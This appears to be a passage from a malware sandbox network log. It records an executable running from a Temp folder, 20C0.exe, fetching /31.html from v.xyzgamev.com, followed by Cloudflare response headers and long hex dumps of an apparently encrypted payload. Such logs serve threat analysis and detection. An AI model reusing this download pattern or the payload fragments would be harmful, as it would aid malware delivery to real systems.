65	192.168.2.4	49816	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:45 UTC	5033	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:46 UTC	5033	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:30:46 GMT Content-Length: 571228 Connection: close Last-Modified: Mon, 29 Aug 2022 04:55:07 GMT ETag: "8b75c-5e75a11515fef" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sU27mvCCwtw8l03h%2FIs20LvG%2BxhP3OGn8VSDlAqDJpm5VEXSkC%2F0Evd7o%2BKuzbT%2Bizx51bjzlFYDKA6%2BWpdabd%2BEsxRvZ4fZc2hwKXBakOxn%2B5dXeeIKn8KBzscVw4tR7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c77faf2c914a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:46 UTC	5033	IN	Data Raw: 4f 2c cc 00 48 68 a2 6a 1e ff 91 3f e8 eb cf 4f 7d 33 e8 e1 38 76 2c 29 63 6d 6c 91 54 2f f0 cc da e3 13 56 f7 72 dc 93 17 ef b9 d6 f6 6e a7 3f 79 0d 18 6f 7a 23 56 af da b4 fe ed f5 98 4e ff 7b 1f d0 a6 ee ed e2 21 f0 cc cb f9 59 17 22 e3 9a d9 29 76 85 54 92 2e d7 2e dd 9b 1f e8 dc a4 ee 55 62 a7 56 d4 d4 2a db a9 29 c5 95 9d 38 94 ca 85 2c 17 25 16 7b 34 c2 79 57 72 41 ec 61 33 36 26 1a 18 2c e3 bc fe 18 56 f0 be ea f2 a2 6c 39 fc 79 0d c0 a4 e6 33 39 fc 79 0d ca 07 77 57 a6 6a f4 6f 78 ae 06 0d f6 e7 49 9f 9c 3b 86 aa 25 f7 11 70 b7 62 0c e8 3e da cb 6a a7 82 b6 92 a6 6a 1e 88 61 77 54 92 dc 72 a2 86 a6 6a 2e a6 12 17 6f f7 2f c5 8e 37 d4 17 dd 9a 2c 3d 75 6b a7 e1 69 df d2 2f 68 e1 eb a3 a6 6a 2a 6a ee 50 a6 6a 09 c4 88 3f e2 a5 2d 58 11 6b a7 d2 52 Data Ascii: O,Hhj?O}38v,)cmlT/Vrn?yoz#VN{!Y")vT..UbV)8,%{4yWrAa36&,Vl9y39ywWjoxI;%pb>jjawTrj.o/7,=uki/hjjPj?-XkR
2022-08-31 12:30:46 UTC	5034	IN	Data Raw: a7 6a c3 af 36 5a a7 6a f4 6f c2 af d8 ae 06 0d 6c 26 fc fa 25 f3 55 44 e3 2e 60 e8 02 c6 eb 26 eb e1 74 3e 22 96 36 67 fa de a7 6a 2c a2 d4 d1 e2 2f 57 3d 00 fa 35 a6 16 15 6e 14 f1 00 2e be 0a 11 58 0e cf 99 68 3e cb 9f 6b c7 c4 27 e8 96 2e c8 7c 2f 68 e1 a5 ec a7 6a 66 44 58 f3 53 ef d4 1f 60 26 2a e4 f4 c4 59 e7 d4 bc 0e 14 29 55 5d 62 63 5b fa 04 16 14 1b 15 27 28 86 89 6c e5 db af 2b f1 c5 bc 0a a9 62 17 69 d3 d6 db 8b f3 5b e7 d4 a6 c0 49 66 21 53 e7 d4 96 c0 72 2e a6 16 e8 ec dc 69 db da 96 2e 1d 14 51 5e 13 e4 ae 2a a6 16 91 16 d3 61 65 64 64 54 dd 60 95 27 95 d2 ee dd 9c 2a 13 5b e3 68 af da a4 1e 95 65 90 d9 c3 3f 3e 0c a4 1a d2 6e a6 1a a9 db 35 cd db ef b2 ec f7 f0 b7 2d ae 19 6a a7 a6 54 f5 a6 6f 77 04 1f f4 ef ac 12 19 6b 09 0e e3 eb 2d 1f Data Ascii: j6Zjol&%UD.`&t>"6gj,/W=5n.Xh>k'.\|/hjfDXS`&Y)U]bc['(l+bi[If!Sr.i.Q^aeddT`'*[he?>n5-jTowk-
2022-08-31 12:30:46 UTC	5035	IN	Data Raw: cf 96 49 47 6b 6e 29 7b cb d8 b4 1a 01 1d 53 d2 db e0 2a 70 f5 2f ec e2 df 54 67 fb 36 e2 4c 14 c9 a0 6a 6b 82 f5 94 e4 d5 53 3d dc 53 cc 68 5a c2 0e 42 f5 2f 12 0c e7 6a a2 c3 8f d5 cf ea 27 6a f4 6f 0e c0 2e 85 54 41 4f 5a 54 ea bc 6e a6 bf c9 d2 39 1c fe 85 a4 32 35 fd a2 b7 c3 1b 6a 67 af 5c 91 62 ae 5c 7c 0b 58 1a a7 e8 42 43 ea 6d a1 2a df 56 af 05 41 a2 0a 8a a5 49 8d 61 a6 65 a9 6a 85 4c a3 6a a5 10 dc 1f 6f b7 c6 68 a7 7a 8a d7 37 3a 67 e3 2f ef 22 ee a2 63 ab 6f 24 6a 2b e0 21 69 47 8f a2 6a a5 79 56 8a a7 68 a5 2a e7 64 a9 7e 32 fe bc 64 22 ec a5 75 3c db 93 6a 3b ed b4 67 a2 3e 73 f8 b5 fa 32 6f a9 84 c6 e8 a3 60 29 ed 03 cf a2 fa 37 5c 91 6a 77 43 5a 6e 9f d1 a9 ea 22 e5 a8 98 59 6e e7 a3 21 fc be b9 bc 24 a8 6b 3c fc 98 70 87 41 83 a4 41 8c Data Ascii: IGkn){Sp/Tg6LjkS=ShZB/j'jo.TAOZTn925jg\b\\|XBCmVAIaejLjohz7:g/"co$j+!iGjyVh*d~2d"u<j;g>s2o`)7\jwCZn"Yn!$k<pAA
2022-08-31 12:30:46 UTC	5037	IN	Data Raw: f6 64 b7 f1 92 ca b6 4a 0c a4 0a bf 5a 2a 1d 25 e7 67 60 e3 f5 ae 16 1b 97 3a cb 30 f9 7a 60 80 a2 da 07 6e bc b5 75 f1 68 ce 59 c6 36 7b 68 e3 01 8b 97 78 54 85 e2 15 23 d8 1b 65 14 1d f3 ba 51 3c 13 71 8b eb f5 7f 92 7c 96 9f 55 0a c0 ed 52 85 62 6b ca 99 3c 71 c7 8b b6 8d cf 6b 7a 21 90 21 13 1a c2 5e 76 90 fc b0 69 3f d7 4d 95 0b 9b c9 f5 74 52 51 69 7d 4a 57 a7 4a 04 d2 9c 1f d8 15 d1 79 b7 6a 22 19 25 ec de ac e6 de 1f b9 39 45 d5 8d b1 06 6b 23 a3 a1 25 fd 68 b6 8c 86 a2 e1 ed ff a0 fa 39 dc 4a 2a 92 31 8e 90 bf dd 75 10 2c 57 11 e6 d5 3b e7 6e e3 35 1f 9e fc 1a 49 ec a7 4b 16 df d5 c2 2d 13 9b 74 c9 7a 7c a2 ec 9d 88 ba ab 7a b3 e9 69 3b f3 3b a3 f4 61 37 d3 87 28 ce 0b ed 17 33 f4 28 dc 70 17 ca f0 d5 3f 5e c2 57 bf d8 1a b3 65 eb 75 43 cd da 0c Data Ascii: dJZ%g`:0z`nuhY6{hxT#eQ<q\|URbk<qkz!!^vi?MtRQi}JWJyj"%9Ek#%h9J1u,W;n5IK-tz\|zi;;a7(3(p?^WeuC
2022-08-31 12:30:46 UTC	5038	IN	Data Raw: 68 a7 59 46 3b e0 aa 28 19 5f 53 cb 33 a4 e3 fa b1 a7 6a a7 e1 e3 8e 7b 17 29 60 a9 e7 63 22 92 d6 6d a0 6e 2b 58 ae c9 33 d9 f7 a1 42 67 6b be cb cc f4 88 18 40 76 4c ab 9c 96 2a 23 e6 2b 69 66 66 43 50 76 66 ab 67 f9 d7 c3 6b 23 43 db fe 22 bc b2 2c 92 d2 a2 ee 30 a1 6d 18 82 f1 73 ea 68 24 2d 77 fb 32 ba 68 e1 aa 63 3c 26 18 76 d1 d5 9b 63 ab a8 24 3c bb 67 eb 70 18 f4 4a d7 8f ed 08 45 28 ca f6 0e a3 29 18 2e 86 c4 a9 74 54 aa 9e 16 ee 10 f7 cc 13 66 9f e2 6f 11 d9 23 d9 ee ba 83 bf 70 e5 78 7a a2 1e c6 a4 79 b1 d4 22 ff a0 6a d9 a9 0d 83 26 a8 6e 9c 26 1d 59 13 26 67 6a cb 21 01 61 e8 16 9e af e2 27 e9 e2 a6 6a e8 0e 07 22 e6 e8 e8 12 9b a5 81 b2 0c bc 95 d8 27 12 a1 46 b7 1e 9d da 56 2c ac 1a 12 2e 2a 6d a4 a2 c6 c2 ae 1a b1 44 a2 84 0d c3 80 e0 a6 Data Ascii: hYF;(_S3j{)`c"mn+X3Bgk@vL#+iffCPvfgk#C",0msh$-w2hc<&vc$<gpJE().tTfo#pxzy"j&n&Y&gj!a'j"'FV,.mD
2022-08-31 12:30:46 UTC	5040	IN	Data Raw: df 62 64 ab 80 4d 2a e9 ff c5 09 f3 67 e9 ab 7c 3c ed b5 a4 f6 d8 14 4d 82 d0 1f da 1d ec a5 b4 f6 e3 63 11 6d 74 44 3a e9 75 02 cc a5 66 27 68 67 74 f6 5b 16 7b 33 86 4f 56 ae 0e f9 32 f5 06 5f 2a 57 20 cc 01 cd 02 4b 2e 18 25 d1 fb f5 2f 1e 34 b0 f2 5c 51 6f 1b 77 68 74 bb 16 0e 72 eb 5f f0 ce ea 53 a3 c0 9a 51 bd 2b e3 e2 d2 0b 35 2a dc 26 f7 63 22 e7 08 f4 3c b1 5b 86 aa 47 4a ae 9a 37 32 b2 4e 95 90 eb 2f e7 b5 f7 fc ff f5 72 20 77 3a eb 43 90 2f a0 7f d2 5b 2c 10 a9 80 5f 76 19 ac dc 8e f1 26 93 c7 33 1e d2 7b ab 3f 6f 82 47 32 6a 1f 43 a6 e7 00 2d 8a 58 80 9a 06 c3 18 b7 31 be 69 86 4f 12 f6 d7 f7 ef f4 b6 7f e6 55 5b ba cc 5e 0e dd 04 ca 8a 86 64 7e ad 44 a2 9c 35 24 4b 81 ed 89 0d 83 4b b0 67 ee 55 3d 21 cf ab 33 1f e0 f0 5e ba 7a af e5 4e 1e f2 Data Ascii: bdMg\|<McmtD:uf'hgt[{3OV2_W K.%/4\Qowhtr_SQ+5*&c"<[GJ72N/r w:C/[,_v&3{?oG2jC-X1iOU[^d~D5$KKgU=!3^zN
2022-08-31 12:30:46 UTC	5041	IN	Data Raw: 53 5c ea c4 76 4b 75 07 42 a8 e2 9b df a9 79 22 7b b3 f5 ab 51 1b 7e 36 2f 13 1e b4 29 1f 41 4a 46 a5 e9 bc 36 67 a9 62 4c 83 40 8d e1 2e 2c a3 a9 e4 ae f3 d2 a2 84 92 d5 2f 6e fe 7f 63 62 0e b9 a7 6a d8 2c 26 29 a3 3a 1f 69 4c 46 83 e9 a9 cb 83 65 c2 00 f7 b1 3c 72 50 c4 ee 75 ad 77 48 c7 f7 64 a8 64 27 b0 94 64 cc 39 f5 3a 7c d1 68 c3 d5 c5 e3 a1 4b d4 f0 5f 63 71 4e 5b 62 84 34 64 3e 76 9d 50 24 ef 2a e9 1f 8a 08 c4 fe 61 8a 4d a1 45 8c 7e b8 27 12 19 ea f3 a6 07 59 a7 fc d9 b0 b8 88 68 2c 04 62 17 38 a4 ab a6 6c 6d f1 b7 3c 8b dd 6f 91 d2 88 c0 eb d7 c3 35 63 77 f5 2f 22 bc 01 5b e2 e1 2d 39 a4 c4 08 4e 56 4f c7 d2 e5 db aa ed a9 0d cf 66 c1 42 67 bf d4 4e ad 45 81 63 29 8e 8b 3e 34 67 95 de a8 e7 2b 78 88 90 6e ef e2 f4 f6 fc ff 20 ed ab 64 9a 54 f4 Data Ascii: S\vKuBy"{Q~6/)AJF6gbL@.,/ncbj,&):iLFe<rPuwHdd'd9:\|hK_cqN[b4d>vP$*aME~'Yh,b8lm<o5cw/"[-9NVOfBgNEc)>4g+xn dT
2022-08-31 12:30:46 UTC	5042	IN	Data Raw: 18 78 fd ce 26 10 2c 1c ce c0 57 29 fa ce 22 8f 61 57 32 10 2d ed f4 ca 2f 9d c9 0e a1 08 b6 58 cb 35 94 d9 0c 03 ec e8 14 94 52 90 0e 1d 90 48 a4 60 27 2f 68 2b e0 63 24 e3 9c 05 a4 68 5e 2a 4f c7 6b e9 49 23 e5 7c f7 2c d0 7c 48 ef d3 13 76 dc c6 6c a4 37 b1 a6 2b 0b 3b 5f 79 ed 09 9a 7e b9 3a db 58 fe 69 23 0b b0 e0 96 41 3a d0 5e 1e e3 e3 eb 86 89 99 55 a5 0a f9 26 cf 86 90 b4 cd 1f 80 c6 6d d7 60 90 15 3c 82 41 44 21 dd 97 d1 3b 07 e9 5e b0 f3 3e 0f 29 3e d3 5b da 24 cc 29 61 22 f9 5d 8f 11 81 f5 68 4f 8a 2e eb a4 e8 26 94 63 ea dd ab 5f 13 27 6a ed c0 4c 0b 32 15 4f 82 0a 43 b3 1e 62 9b d7 2a c7 3a 74 05 5f de 4d 24 c5 5c fe 03 8e 47 60 b8 d7 e2 4b ff dc 71 c6 12 5b f3 fb c2 3a 34 9c dd d0 b5 b3 c4 63 10 7d 42 d8 19 a2 82 84 94 90 68 2a e3 f8 30 d0 Data Ascii: x&,W)"aW2-/X5RH`'/h+c$h^OkI#\|,\|Hvl7+;_y~:Xi#A:^U&m`<AD!;^>)>[$)a"]hO.&c_'jL2OCb:t_M$\G`Kq[:4c}Bh*0
2022-08-31 12:30:46 UTC	5044	IN	Data Raw: 3e 93 13 87 4b 79 f7 08 cc e3 3b 57 9d 50 81 9c 1b e6 01 bc 2d 10 f2 bb 0e b7 3e 90 39 f3 3f f9 a2 34 78 f9 11 c4 76 d8 09 87 29 c4 4e 28 a2 c4 ca 61 0c d7 c1 44 83 76 0c 51 f2 bf 7b 61 eb cd f7 16 e3 50 20 93 0c 42 92 ca 7f d0 16 24 e9 ec 35 b8 b9 12 3b 1e a1 dd 46 e7 c5 4d fb 93 12 90 e3 e5 d6 c7 5b 61 b7 45 c3 68 1c 27 f9 a0 40 f6 95 04 68 a6 39 74 fa b7 6a f0 6e a4 d2 8b 0a 01 68 af e9 62 14 67 a0 14 ad ed ed 24 13 ee 5a d1 14 22 a6 a6 aa ae a2 de b9 4b aa 21 f9 73 6c 2c a7 e5 e5 64 12 1c a7 a1 1a 14 29 27 29 6c 72 77 e3 6a 66 d3 06 f7 0c 42 91 8f 3d 8d 47 94 a6 61 2b c3 00 f7 dc 37 82 2e b8 16 68 82 b0 58 ea 27 ea 5e 14 e8 2f aa 8a 50 7f e5 5a a3 95 65 1f 13 e6 ac 67 e2 cd 45 04 77 d6 9c 29 c3 04 0e 3a 6a 28 a3 e9 5c 36 83 15 c9 bc 20 0a a3 a6 4c 69 Data Ascii: >Ky;WP->9?4xv)N(aDvQ{aP B$5;FM[aEh'@h9tjnhbg$Z"K!sl,d)')lrwjfB=Ga+7.hX'^/PZegEw):j(\6 Li
2022-08-31 12:30:46 UTC	5045	IN	Data Raw: a2 99 66 4b 80 0b 48 e5 49 64 59 72 e7 2a 58 e2 dc 8e 20 07 a8 63 27 29 67 0c da 89 2f 15 50 b7 ee 89 e8 aa 60 ea f9 2b a6 6f 1c c2 ee 8b 54 fa c0 76 d4 b4 fa e1 24 86 43 6d 1e de f3 bf e4 a8 5e b1 df b1 dc 9c a6 e2 2e 67 84 d0 bd 8f aa 40 e5 7a 3a a5 85 0b f6 d2 8e a1 ad cd 61 6b 05 ec ef 66 a6 69 5a 80 aa d2 22 89 61 2e c7 42 c6 56 7d ae ec 5e 1a a3 c7 5e b7 03 ce 6f 7a 68 35 dd a7 ca f0 67 4a 15 50 22 64 93 63 3e 2d 7e aa f0 24 8a b4 9f a4 6b a9 c2 ad ad 41 e1 dd f1 e5 4e 6a 58 d4 3d 0e 80 f2 8a 0b 26 f7 f7 2e 28 b1 5a c6 97 19 2c a1 78 36 e8 d6 f3 c0 0e fe cf b2 4c 87 e6 6e 29 2f a4 f4 96 5b 90 5c f3 22 de 73 07 e6 23 e3 b0 65 b8 35 9d 56 bb 64 04 c8 6e cb 8e ef a9 cd 5a dd 76 66 80 5e 86 a9 c5 e3 98 da 00 4c 5e 1a 0e 22 09 8f 21 a1 ed c5 8a 71 7d e6 Data Ascii: fKHIdYr*X c')g/P`+oTv$Cm^.g@z:akfiZ"a.BV}^^ozh5gJP"dc>-~$kANjX=&.(Z,x6Ln)/[\"s#e5VdnZvf^L^"!q}
2022-08-31 12:30:46 UTC	5046	IN	Data Raw: 16 1a e4 91 f4 fa 2e 74 81 6f de 41 f0 58 1f 2e d6 6a d3 d0 d6 4d 7d b1 0e d5 53 6c ec ce 1f 8f 43 69 ce 96 3d 83 19 93 92 3b 99 84 db 2d a1 17 13 5b e3 b0 82 54 9f 29 f1 a0 f0 2e 5d 61 cd fa d2 1a 04 4e b5 a5 70 e5 ef 9a 90 dd 10 02 84 73 bc 27 2e 40 c7 36 35 6f a1 a2 c3 0b a9 e7 ab 25 ed 9b 51 e2 d7 2d 92 a6 9c 32 6b ec 95 4a d4 fe b6 11 95 4a 92 52 42 af a4 8b 8f 27 19 25 01 3b 12 5c 6b d5 17 ff c3 8f 8e 62 ff 36 51 8f 87 c1 42 b6 a9 12 ad 01 de 58 23 e0 1a c2 4b 92 9a 70 cc ca 8a a0 a5 63 6a 8e e3 50 55 cf 0a 4f 63 45 55 f7 93 82 bc c3 6a 94 59 1d c3 85 51 8d 20 3d a7 90 fd 4d 5f f7 1d c6 28 00 54 4b 3a a6 e7 48 08 a8 32 f4 ae d9 35 77 3d ce 76 31 ef 2c 41 04 18 d6 92 bf 0c 2e e1 50 79 c6 bb 78 7a f8 2a 83 0a 0b 82 eb 07 c2 92 36 d2 83 fb a7 0e e2 6a Data Ascii: .toAX.jM}SlCi=;-[T).]aNps'.@65o%Q-2kJJRB'%;\kb6QBX#KpcjPUOcEUjYQ =M_(TK:H25w=v1,A.Pyxz*6j
2022-08-31 12:30:46 UTC	5047	IN	Data Raw: 64 29 63 ed e5 af a3 60 d8 1f 79 87 54 41 49 74 7c 29 a4 22 6e ee e2 a5 2c 4c 05 5e 87 c6 5b 2f 86 c7 2b 4b e1 9c 51 ac 8c f0 d0 37 8c fc 3e 24 76 f5 8a 08 76 f4 79 af a3 4b 0b f8 cc 78 43 62 af 6a 01 5e 3f e6 bc 76 e5 0b d7 7d 1f 80 f2 aa 6c ac 1e 4a f6 2d 25 c7 dc b8 29 ed 2e 71 28 aa 1f 42 f5 78 ef 27 92 da f3 26 bc 97 d2 63 83 4c 84 40 2a 71 b0 e9 a9 5b 93 e3 27 a7 fc 71 ab e9 a9 47 8c ed ab e9 a9 43 2a c8 20 62 28 2e 70 fe 96 20 ed ee 97 c4 f7 80 f6 ae 08 45 f9 b1 c2 ca 19 6b a7 c4 7d 6c 2b b9 1f 00 98 02 a3 b2 65 27 4b df fa a4 96 6a 0b b2 dc 65 4d 09 dd a6 6f a7 69 51 57 a8 e5 76 fe e9 f6 e3 f5 64 23 6c 7a 77 61 2f e7 e3 64 20 77 39 f1 b7 59 17 22 62 f6 49 f0 35 a7 c2 7b dc 1b 90 8a fe e1 ee f7 b3 a3 67 d2 60 a7 6a 32 d7 32 57 5c 6e 25 38 b4 20 ea Data Ascii: d)c`yTAIt\|)"n,L^[/+KQ7>$vvyKxCbj^?v}lJ-%).q(Bx'&cL@q['qGC b(.p Ek}l+e'KjeMoiQWvd#lzwa/d w9Y"bI5{g`j22W\n%8
2022-08-31 12:30:46 UTC	5048	IN	Data Raw: 19 e5 0c 0a 76 ba 76 b2 3e a1 6b 13 d5 38 a3 e5 22 cf 76 12 a4 dc 02 3e e0 bc 3f 35 b8 2d 2a 3c d2 de 3b 7b 9f 80 16 15 6e 10 d8 26 c8 00 3f 47 2a 75 e7 e8 ce 77 b9 e5 23 ab aa 77 bb a6 fa 51 85 ab 53 bb ca c1 35 7c 1a 71 5a cf 65 b0 e3 7a 38 27 f8 3c c9 87 e1 e4 6a 44 80 ae 89 46 79 50 b4 5f 7f e0 5b 49 6a 0b 48 4c 7c 43 ac 1b 15 cb a9 84 28 76 3a 08 e3 e1 5e f5 d4 64 b1 52 ea 06 0d f4 6b 34 cc 8c e7 99 a6 d1 e1 62 23 46 03 65 31 3e b5 15 aa 31 d0 be 5e e8 0d ba 5f 37 0d 71 3e c6 72 ec 14 36 56 34 47 f8 c5 ed de bd 46 f9 6c d8 77 a1 54 93 ea 4f 89 2f 73 38 2e 13 54 e0 33 d1 1f 83 10 ca 3b 95 85 21 df 3c d5 a7 7e 5f 91 28 6d c7 00 99 3f f7 7f e8 38 9e 9d bd c5 8a 35 f7 e7 61 2d 43 78 5e 69 a7 f3 aa ff 59 4f 28 13 99 df 7e 10 36 de df 50 e8 e6 14 1f ed a3 Data Ascii: vv>k8"v>?5-<;{n&?Guw#wQS5\|qZez8'<jDFyP_[IjHL\|C(v:^dRk4b#Fe1>1^_7q>r6V4GFlwTO/s8.T3;!<~_(m?85a-Cx^iYO(~6P
2022-08-31 12:30:46 UTC	5050	IN	Data Raw: eb a3 d2 19 2a 29 e4 31 9c 82 e4 a1 79 33 6c e8 1e 97 80 c9 22 aa 13 1c 2c eb 22 af eb 3a 76 26 6e 62 be 7b b2 80 58 6a 2c c1 ca d3 37 87 23 66 b9 2c a1 35 f9 6f 77 04 1f f5 6d 62 87 b5 2d f3 a3 32 14 27 83 00 07 a0 cd 82 04 a0 26 e7 e6 a2 2c f1 b3 44 8f e3 79 2f 3e 18 2d 13 8b b5 2d 17 47 be 9a 44 78 13 0c 3d d7 2f 6a a9 e1 62 9a 6f 58 e9 a2 3b b6 5c 57 ec f2 7a a0 6e a3 e9 24 6d a9 e3 5d 07 bb 10 d1 2e 6c e0 4d 83 2e 20 67 fa 26 7a cd ff 0a c7 2d 0f 5f 13 9e 1a 80 6a 5d 37 39 a3 f1 3f ab 33 ce 56 43 7f a7 15 a5 e8 fc ab bf 67 28 31 32 af ae ea 80 4c ca 5a fb dc 00 7f 83 43 6b d3 5b 0a af be 1b d7 1a e3 bb db 7b 6d a7 1e d5 93 58 80 42 d8 e1 7e 3c fc ba 02 8c 2d b3 ff e2 df dd 6c ac 66 56 46 74 6f a6 5d 62 77 44 6c c1 9a bf ff e2 c5 4d 1f 7e d3 a8 ee dc Data Ascii: *)1y3l",":v&nb{Xj,7#f,5owmb-2'&,Dy/>--GDx=/jboX;\Wzn$m].lM. g&z-_j]79?3VCg(12LZCk[{mXB~<-lfVFto]bwDlM~
2022-08-31 12:30:46 UTC	5051	IN	Data Raw: 17 b1 dd 19 e1 d4 fc b3 60 89 52 c9 e3 26 d4 1a ec c4 b7 96 2a 13 de de 26 d8 96 30 ce 7b 82 c3 f4 7e fd e6 bd e1 e9 36 94 d1 65 99 5f 26 eb ba 3e a6 2e 66 a4 6c ed df b3 41 8f 1a c7 5b ef 11 3b 7b dc 31 92 8f 1e 84 8d 4d 70 b0 3d d4 59 ef 35 67 36 69 27 53 1d 19 1c ec 16 d0 39 08 4d a9 d6 cd c2 08 32 fb 01 cd 60 fe 38 c3 7d f4 b8 54 5a 92 32 a6 64 f0 fd 36 6b 36 03 4d 2e 99 36 33 d7 45 80 c3 51 ed e1 dc 1f d4 e9 d0 36 3a e1 b8 b6 11 96 13 77 8f ba 36 3d f5 91 8f 9d 83 66 c5 fd a5 45 46 ab 58 46 ec 62 11 be c5 0b ba 1e 45 8c 2b 8a f7 18 87 78 dd 02 84 49 b5 0e db 3d 40 f3 80 32 3a c1 c9 e8 93 db 45 8a a0 31 a6 cb b8 2a 58 06 54 f4 3a 5a 07 29 a7 17 a3 f4 03 b2 69 3e 23 95 0d f9 a4 35 a9 6b cd 00 60 aa 10 32 4b 7e b7 e3 69 29 2a 9b e7 ad 4d 7d 11 be b9 9d Data Ascii: `R&&0{~6e_&>.flA[;{1Mp=Y5g6i'S9M2`8}TZ2d6k6M.63EQ6:w6=fEFXFbE+xI=@2:E1XT:Z)i>#5k`2K~i)*M}
2022-08-31 12:30:46 UTC	5052	IN	Data Raw: f7 c5 4d ab 31 2c b3 12 9f 96 d5 b0 b3 7e bd 94 47 74 52 89 c7 6a 07 a2 85 a3 1a 6d 1e 02 3f 8e a4 6a 06 bf a0 e4 0f c0 94 95 83 05 ce 85 a6 e1 2c 8f 1f f5 61 6e f6 d3 92 12 09 55 ff 0e b5 d2 f8 9d 98 0e f0 76 b5 0a d7 ad 7e 05 ca 2d e0 7e bf e9 7a 4c d7 1d d8 32 74 05 49 60 af 6d 84 1e a6 d3 48 6b c1 0b a6 e9 e0 ba b3 18 d4 bd 2f b1 22 19 c7 7f 9c 58 b7 75 9e 53 19 7e 56 31 a4 0b c5 69 d9 97 26 f3 bf eb cc dc ff ef 15 59 24 a5 63 62 27 65 a3 e1 f2 37 a0 d3 13 eb e4 42 4b 53 0d fd d8 62 87 32 1e 5c 77 96 66 07 b7 fa a4 79 37 69 4c 80 af e0 a4 b4 38 a4 ab 82 3e 1a a2 6a ac d3 53 29 f6 d2 ec c1 51 6b a7 94 ad ea 69 23 e3 a6 73 b7 ab e3 5e 9d a1 6a a5 7c 9f de 38 6e a0 69 ad 41 05 e6 c9 9c 9d a1 c6 43 fd 99 26 17 5b eb e7 ab 26 41 c7 a0 26 38 74 eb 2c 60 26 Data Ascii: M1,~GtRjm?j,anUv~-~zL2tI`mHk/"XuS~V1i&Y$cb'e7BKSb2\wfy7iL8>jS)Qki#s^j\|8niAC&[&A&8t,`&
2022-08-31 12:30:46 UTC	5054	IN	Data Raw: 61 a2 85 6d 60 c5 43 cf 61 57 3b 0d 49 47 08 01 aa 33 f0 62 ee 24 42 0f ea ed 20 10 9e e4 f9 97 e3 ff 1b b7 1e a3 0a da 77 c7 68 f4 5b c7 43 fe 1a b7 7a a3 67 aa 6e a6 69 30 ff a3 6a a0 0f 95 ae 04 b9 69 96 4a 55 b7 4f 93 e7 7e 8f 16 bb 47 5a e9 14 97 ee 13 5a 02 9a c2 5a cc 31 97 c5 38 5a 6b 97 96 a6 68 6e a0 9a 1f 71 a2 b7 59 13 13 d2 0c 6b a7 6a fa 7b 16 b6 2c 90 d6 38 bf 44 4b e4 2e 6e d8 d4 86 88 8e b1 22 39 81 ef dd eb fb c3 59 17 2c ed 65 a8 51 db 1b e3 d5 e5 e7 a1 58 a3 6e e3 2d 7e 7e a0 5c 95 a7 18 5c 10 28 06 49 af 16 f6 6e 0a ba f5 6d f2 79 d4 53 0e ad 00 58 80 22 ea a0 0d fc 08 e3 27 a2 af 87 ca d7 59 8e 02 5a 80 18 18 0f 9d ab 20 2e 08 fd 1b 76 7a 67 ef 02 48 ba 46 d1 7f 1f f0 be 63 e9 47 36 fb 52 df e2 7e e1 56 c0 2f 10 80 da a3 05 7c 36 be Data Ascii: am`CaW;IG3b$B wh[Czgni0jiJUO~GZZZ18ZkhnqYkj{,8DK.n"9Y,eQXn-~~\\(InmySX"'YZ .vzgHFcG6R~V/\|6
2022-08-31 12:30:46 UTC	5055	IN	Data Raw: d4 c2 f6 f1 f3 2b a2 e2 28 90 8e 3b d2 17 fe 3a 67 aa d3 1d 97 99 a4 4b 4d 7b 89 55 24 a0 b6 d3 4e a6 e0 a0 c2 53 46 96 ef d8 5d 9a 50 4d cb ad bd 7b 26 5b 90 e4 3e f1 2d 94 08 1e 98 5b 9e 8c 53 ef dc 94 c4 05 21 a0 aa 19 62 94 93 53 dc 19 e3 2f 57 99 14 c3 35 e7 a1 95 08 12 0c 11 5c 1c d4 4d 46 ac 28 a5 c9 1c cf 5a 6f 12 11 3f 79 0d 1d b7 dd 10 2a 6c 58 c5 df c1 dc 91 d1 19 a1 e1 69 27 26 a5 cd 18 a4 87 d5 ac a3 a6 6a 6b b5 80 67 4e c7 7c f1 4a 85 64 8b 48 ad 54 b2 74 34 b9 24 fc f7 ff bd a0 ce 81 66 f0 3b 6a 0b 49 6d 07 87 69 90 5e a4 59 97 69 c2 30 9b 69 9c d2 2c 39 79 e7 20 95 27 95 d2 17 24 e0 f7 c4 c8 6e 8b d2 a7 6a 21 67 a9 ae e6 f4 6f bc b9 f0 33 62 3f 64 2a 11 5d 1c d8 61 2c e7 2a 2f 37 cb f8 4a ca 07 20 33 79 ce 01 f4 27 f6 a1 e8 09 c2 02 15 f3 Data Ascii: +(;:gKM{U$NSF]PM{&[>-[S!bS/W5\MF(Zo?ylXi'&jkgN\|JdHTt4$f;jImi^Yi0i,9y '$nj!go3b?d]a,*/7J 3y'
2022-08-31 12:30:46 UTC	5056	IN	Data Raw: 80 bd 08 c6 f1 a2 68 f8 2a 37 82 b1 b5 b6 1e 6f 21 3f 47 c8 83 3c f4 a9 6a 29 01 26 c4 92 99 18 72 03 e1 2d 95 6e eb 73 f6 ad 1a db b2 69 9c be c6 fb 6b f3 b3 a4 96 d1 28 90 1f 25 28 66 64 cf 49 9e 87 4e 55 6e 67 20 79 a5 7d 87 3d 87 d2 a7 e1 f7 13 cf 49 c4 18 31 5a d5 ee ef f1 34 a2 fb fe 26 ee 1a 22 42 48 f0 73 6f cd d4 76 8b 5a cb 90 10 c6 2a 8a d5 eb c5 5e 94 2f 19 39 cd 44 1f 12 a9 57 69 ba ad b0 95 99 d5 61 bd 07 6d ab a1 62 4f 8e b3 0e d8 0b c5 5a c9 d4 32 c8 7b 6d b3 85 5a 02 c9 f6 69 d4 02 d8 5a 97 5a 6e 29 92 52 52 e9 9c bf 88 5a 97 5a 9d 50 98 52 82 1a 2f a6 fd e0 71 fb 25 9e c8 f5 80 b7 d5 18 1e 69 23 20 2f c9 e3 49 25 69 04 c7 b2 3b a1 26 00 29 dc db 44 d1 7e 51 b8 93 8d 74 38 5d 05 ec a0 b1 e9 74 c8 7e 98 68 6c fa c7 15 50 7e 8a 60 ea dd 15 Data Ascii: 